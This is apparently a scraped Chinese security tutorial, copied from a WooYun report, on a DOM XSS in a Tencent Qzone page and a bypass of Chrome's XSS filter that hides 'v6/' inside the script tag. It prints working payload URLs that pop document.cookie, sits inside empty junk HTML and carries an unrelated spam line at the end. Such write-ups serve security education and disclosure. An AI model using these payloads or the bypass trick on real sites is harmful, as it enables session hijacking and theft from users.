<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??一站式輕松地調用各大LLM模型接口,支持GPT4、智譜、豆包、星火、月之暗面及文生圖、文生視頻 廣告
                # 18\. XSS 過濾器繞過 [猥瑣繞過] > 來源:[18\. XSS 過濾器繞過 \[猥瑣繞過\]](http://www.wooyun.org/bugs/wooyun-2010-016678) ## 簡要描述 有些時候,通用的繞過技巧并不可行,這個時候我們就得觀察缺陷點的周圍環境,想想其它辦法咯。“猥瑣繞過”與通用繞過不 同的是,它通用性小,往往只是特例。 ## 詳細說明 1\. 直接看實例點: ``` http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID=aaaaaaaaaa ``` 2\. 可以看出,這是一個 DOM XSS 的點。 ![image](https://box.kancloud.cn/2016-03-23_56f250455398f.jpg) 3\. 我們看看源碼。 ``` .... var siDomain = paras['siDomain'], g_StyleID = paras['g_StyleID'].replace("v6/",""); if(siDomain.indexOf(".qq.com")>-1){//防止 qzs.qq.com siDomain = paras['siDomain'] = "qzonestyle.gtimg.cn"; } document.write('<link href="http://'+siDomain+'/qzone_v6/gb/skin/'+g_StyleID+'.css" rel="stylesheet" /><link href="http://'+siDomain+'/qzone_v6/home_normal.css" rel="stylesheet" />'); ... ``` 不難看出,siDomain 與 g_StyleID 都是地址欄里獲取過來,然后通過 document.write 輸出到頁面中。 4\. 利用先前教程的知識,我們不難構造出利用代碼。 ``` http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><script>alert(document.cookie)</script> ``` 可以看到,IE 下成功彈出。 ![image](https://box.kancloud.cn/2016-03-23_56f250456b826.jpg) 5\. 但是到了 chrome 下,又被攔截了。。 ![image](https://box.kancloud.cn/2016-03-23_56f250458208e.jpg) 6\. 這個時候怎么辦呢? 因為這里接受地址欄的參數時,是以 `"="` 分割,因而我們的代碼中是不允許攜帶 等號的。故上一篇的技巧不 能拿到這里來使用了! 7\. chrome 攔截,是有一定的攔截規則的,只有它覺得是惡意代碼的才會去攔截。這個時候,就需要我們“觀察地形”啦!! 我們仔細看看這句。 ``` g_StyleID = paras['g_StyleID'].replace("v6/",""); ``` 8\. 不難看出,這里會對 `g_StyleID` 進行一次替換,將 `v6/`替換為空。那么如果我們的 `g_StyleID` 寫為下面的情況 ``` <scrv6/ipt>alert(document.cookie)</script> ``` 經過替換后,就會變成。 ``` <script>alert(document.cookie)</script> ``` 但是 chrome 并不會把&lt;scrv6/ipt&gt;alert(document.cookie)&lt;/script&gt; 當作惡意的,是不是就可以繞過了? 我們試試。 ``` http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><scv6/ript>alert(document.cook ie)</script> ``` 果然可以~ ![image](https://box.kancloud.cn/2016-03-23_56f25045963ff.jpg) 這樣一來,我們這個 XSS,就不會被瀏覽器的 XSS 過濾器所蹂躪啦! ## 修復方案 進入 document.write 前,先過濾下
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看